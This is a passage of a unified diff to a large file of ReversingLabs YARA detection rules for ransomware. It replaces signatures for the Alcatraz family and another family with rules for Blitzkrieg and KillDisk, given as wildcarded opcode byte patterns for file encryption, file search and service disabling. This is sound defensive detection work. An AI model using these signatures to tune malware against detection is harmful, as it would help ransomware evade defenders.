-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8B F0 68 ?? ?? ?? ?? 56 FF D3 83
-            C4 ?? 56 57 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ??
-            6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ??
-            ?? ?? B9 ?? ?? ?? ?? FF 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 3C 85 ?? ?? ?? ?? 40 99 F7
-            F9 89 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 85 FF 0F 85 ?? ?? ?? ?? 5E 5B 33 C0 5F C2
+            68 ?? ?? ?? ?? 83 EC ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B CC C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ??
+            ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 85
+            ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 68 ?? ??
+            ?? ?? 51 6A ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ??
+            C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ??
+            C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 8B BD ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 47 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ??
+            ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ??
+            8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8
         }
-		$find_volumes_p1 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56
-            57 E8 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 6A ?? 50 C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84
-            24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 83 C4 ?? 89 74 24 ?? 33
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files)
+}
+rule REVERSINGLABS_Win32_Ransomware_Blitzkrieg : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Blitzkrieg ransomware."
+		author = "ReversingLabs"
+		id = "078f7f9d-edd4-52b4-a30e-e968542da95c"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Blitzkrieg.yara#L1-L127"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "22dd16c886a1982186fe927e633be9951da7d7e664e877e11fa976696b2bc86f"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Blitzkrieg"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files = {
+            55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 55 ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ??
+            64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ??
+            ?? 64 FF 30 64 89 20 8B 45 ?? 8B 40 ?? 8B 10 FF 52 ?? 8B F0 4E 83 FE ?? 0F 8C ?? ??
+            ?? ?? 8B 45 ?? 8B 48 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 A0 ?? ?? ?? ?? 88
+            43 ?? C6 43 ?? ?? 8D 4D ?? 8B 45 ?? 8B 40 ?? 8B D6 8B 38 FF 57 ?? 8B 55 ?? 8B C3 E8
+            ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? 8B C3 E8 ?? ?? ?? ?? 8B D3
+            8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 4B ?? 89 0C
+            82 4E 83 FE ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 84 C0 74 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
-		$find_volumes_p2 = {
-            FF 8B 5C BC ?? 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 9C B4 ?? ?? ?? ?? 46 47 83 FF
-            ?? 7C ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 57 FF 15 ??
-            ?? ?? ?? 8B D8 0F 1F 00 85 F6 74 ?? 8D 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 57
-            FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74
-            ?? 4E 57 FF B4 B4 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? 53 FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 33 F6 8B 1D ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF
-            D7 33 D2 B9 ?? ?? ?? ?? F7 F1 68 ?? ?? ?? ?? 80 C2 ?? 88 94 34 ?? ?? ?? ?? FF D3 46
-            83 FE ?? 7C ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 FF 15
+		$search_files_p1 = {
+            E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? B2 ?? A1 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? F6 40 ?? ?? 74 ?? FF 45 ?? 8B 45 ?? F6 40
+            ?? ?? 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ??
+            74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 83 45 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 52 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ??
+            E8 ?? ?? ?? ?? 85 C0 7E ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 8B 52 ??
+            48 85 D2 74 ?? 3B 42 ?? 72 ?? E8 ?? ?? ?? ?? 40 80 7C 02 ?? ?? 74 ?? 8D 85 ?? ?? ??
+            ?? 8B 55 ?? 8B 4D ?? 8B 49 ?? 4A 85 C9 74 ?? 3B 51 ?? 72 ?? E8 ?? ?? ?? ?? 42 8A 54
+            11 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? EB ?? 8B 55 ?? 8B 45
+            ?? 8B 08 FF 51 ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 45 ?? FF 4D ?? 75 ?? 8B 45 ?? 8B 10 FF
+            52 ?? 48 85 C0 0F 8C ?? ?? ?? ?? 40 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            8B 55 ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ??
+            ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 8B 8D ?? ?? ?? ?? 8B 55
+            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 85 C0 0F 8F ?? ?? ?? ?? 8B 55 ??
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 8F ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 55 ?? B8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 85 C0 7F ?? 8B 45 ?? 8B 40 ?? 50 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B D8 B2 ?? 8B C3 E8 ?? ?? ?? ?? 8B D3 8B 45 ?? E8 ?? ?? ?? ?? 8B 45
         }
-		$find_files_p1 = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
-            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F C9 C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
-            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
-            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ??
-            8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ??
-            8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF 57 57
-            57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89
-            45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74
-            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ??
-            ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8
-            ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ??
-            3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D
+		$search_files_p2 = {
+            E8 ?? ?? ?? ?? 40 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 85 D2 74 ?? 3B 42 ?? 72 ?? E8 ?? ?? ?? ?? 8B 4B
+            ?? 89 0C 82 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8B
+            45 ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0
+            5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ??
+            EB ?? FF 45 ?? FF 4D ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
+            64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8D 85 ?? ?? ?? ??
+            8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ??
+            8B 48 ?? 8B 45 ?? E8
         }
-		$find_files_p2 = {
-            56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ??
-            ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ??
-            ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D
-            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
-            88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ??
-            75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ??
-            ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2
-            C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
-            ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
+		$disable_services_p1 = {
+            E8 ?? ?? ?? ?? 8B F0 BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
+            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
+            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
+            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
+            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+        }
+		$disable_services_p2 = {
+            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
+            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
+            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
+            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
+            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? 8B 55 ?? 8B C6 8B 08 FF 51 ?? 6A ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B D0 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 C9 33 D2 E8 ?? ?? ?? ?? 33 C0 5A
+            59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_volumes_p*)) and ( all of ($find_files_p*)) and ($encrypt_files)
+		uint16(0)==0x5A4D and (( all of ($disable_services_p*)) and ( all of ($search_files_p*)) and ($encrypt_files))
 }
-rule REVERSINGLABS_Win32_Ransomware_Alcatraz : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Linux_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Alcatraz ransomware."
+		description = "Yara rule that detects KillDisk ransomware."
 		author = "ReversingLabs"
-		id = "7ff37483-ae63-5c82-a355-81ef68e2f663"
-		date = "2020-07-28"
-		modified = "2020-07-28"
+		id = "af6652dd-c668-5ae1-b51b-e272cb440c20"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Alcatraz.yara#L1-L91"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ddd35c8da0c08bce17cacfba8bb8a8b8a8c08c3e59261a88a79c63b03d29000f"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Linux.Ransomware.KillDisk.yara#L1-L144"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3ed1fb2b7b24cd4d5100d93ed53a9ab28e1482bd0998a0538d8710a962ee839f"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -45211,93 +45757,138 @@ rule REVERSINGLABS_Win32_Ransomware_Alcatraz : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Alcatraz"
+		tc_detection_name = "KillDisk"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A
-            ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? 8B 4D ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 83 C8 ?? E9
-            ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ??
-            ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83
-            BD ?? ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ??
-            ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ??
-            ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75
-            ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ??
-            ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 D0 85 D2 75 ?? 83 7D ?? ?? 74 ?? 6A
-            ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
-            75 ?? 83 C8 ?? EB ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ??
-            ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
